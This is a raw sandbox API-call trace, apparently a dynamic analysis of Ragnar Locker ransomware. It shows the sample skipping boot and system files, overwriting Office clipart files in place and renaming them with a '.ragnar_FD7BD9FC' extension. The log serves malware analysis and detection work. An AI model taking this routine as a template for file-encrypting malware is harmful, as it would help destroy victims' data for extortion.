lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0089.788] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.788] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03339_.WMF" | out: lpString1="PE03339_.WMF") returned="PE03339_.WMF" [0089.788] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF") returned=".WMF" [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="autorun.inf") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="boot.ini") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="bootfont.bin") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="bootsect.bak") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="bootmgr") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="bootmgr.efi") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="desktop.ini") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="iconcache.db") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="ntldr") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="ntuser.dat") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="ntuser.ini") returned 1 [0089.788] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="thumbs.db") returned -1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.789] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf")) returned 0x20 [0089.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.789] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10284) returned 1 [0089.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2823, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.789] GetProcessHeap () returned 0x580000 [0089.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.789] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.791] VirtualAlloc (lpAddress=0x0, dwSize=0x282c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.791] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x282c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x282c, lpOverlapped=0x0) returned 1 [0089.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.792] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x282c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.792] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x282c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x282c, lpOverlapped=0x0) returned 1 [0089.792] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x282c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.792] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x282c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.792] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.792] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.792] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.792] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.793] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.793] GetProcessHeap () returned 0x580000 [0089.793] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.793] CloseHandle (hObject=0xf4) returned 1 [0089.793] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" [0089.793] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.ragnar_FD7BD9FC" [0089.793] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.793] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0089.793] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.793] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03451_.WMF" | out: lpString1="PE03451_.WMF") returned="PE03451_.WMF" [0089.793] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF") returned=".WMF" [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="autorun.inf") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="boot.ini") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="bootfont.bin") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="bootsect.bak") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="bootmgr") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="bootmgr.efi") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="desktop.ini") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="iconcache.db") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="ntldr") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="ntuser.dat") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="ntuser.ini") returned 1 [0089.794] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="thumbs.db") returned -1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.794] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf")) returned 0x20 [0089.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.795] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8456) returned 1 [0089.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.795] GetProcessHeap () returned 0x580000 [0089.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.795] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2108, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.797] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2108, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2108, lpOverlapped=0x0) returned 1 [0089.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.797] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2108, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.797] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2108, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2108, lpOverlapped=0x0) returned 1 [0089.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2108, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.798] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.798] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.798] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.798] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.798] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.798] GetProcessHeap () returned 0x580000 [0089.798] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.798] CloseHandle (hObject=0xf4) returned 1 [0089.798] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" [0089.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.ragnar_FD7BD9FC" [0089.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.799] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0089.799] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.799] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03453_.WMF" | out: lpString1="PE03453_.WMF") returned="PE03453_.WMF" [0089.799] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF") returned=".WMF" [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="autorun.inf") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="boot.ini") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="bootfont.bin") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="bootsect.bak") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="bootmgr") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="bootmgr.efi") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="desktop.ini") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="iconcache.db") returned 1 [0089.799] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="ntldr") returned 1 [0089.800] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="ntuser.dat") returned 1 [0089.800] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.800] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="ntuser.ini") returned 1 [0089.800] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="thumbs.db") returned -1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.800] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf")) returned 0x20 [0089.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.800] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7972) returned 1 [0089.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.800] GetProcessHeap () returned 0x580000 [0089.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.800] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.804] VirtualAlloc (lpAddress=0x0, dwSize=0x1f24, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.804] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f24, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f24, lpOverlapped=0x0) returned 1 [0089.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.805] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f24, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.805] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f24, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f24, lpOverlapped=0x0) returned 1 [0089.805] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.805] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.806] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.806] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.806] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.806] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.806] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.806] GetProcessHeap () returned 0x580000 [0089.806] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.806] CloseHandle (hObject=0xf4) returned 1 [0089.806] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" [0089.806] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.ragnar_FD7BD9FC" [0089.806] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.807] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0089.807] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a 